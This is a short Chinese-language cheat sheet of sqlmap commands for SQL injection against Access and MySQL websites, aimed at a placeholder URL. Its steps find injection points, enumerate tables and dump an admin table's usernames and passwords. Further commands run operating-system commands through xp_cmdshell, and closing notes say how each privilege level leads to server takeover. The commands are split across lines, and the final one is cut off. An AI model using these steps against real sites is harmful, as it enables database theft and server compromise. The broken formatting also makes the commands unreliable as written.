一、SQLMAP用于Access数据库注入
(1) 猜解是否能注入
sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
(2) 猜解表
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
--tables
(3) 根据猜解的表进行猜解表的字段
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
--columns -T admin
(4) 根据字段猜解内容
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
--dump -T admin -C "username,password"
二、SQLMAP用于mysql注入
(1) 查找数据库
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
--dbs
(2) 通过第一步的数据库查找表
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
-
D dataname
--tables
(3) 通过2中的表得出列名
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
-
D dataname
-
T table_name
--columns
(4) 获取字段的值
python sqlmap.py
-
u
"http://www.xxx.com/show.asp?id=1216"
-
D dataname
-
T table_name
-
C
其他命令
1.调用xp_cmdshell存储过程来执行操作系统命令(必须为sa权限)
sqlmap.py -u "注入点" --os-cmd="系统命令"
2.获取当前数据库的操作权限
sqlmap.py -u "注入点" --current-user --batch
不同的数据库权限对应的不同的攻击手段
bd权限的注入点:可以对网站的目录进行枚举
sa权限的注入点:可以利用存储过程来获取服务器权限或者网站的权限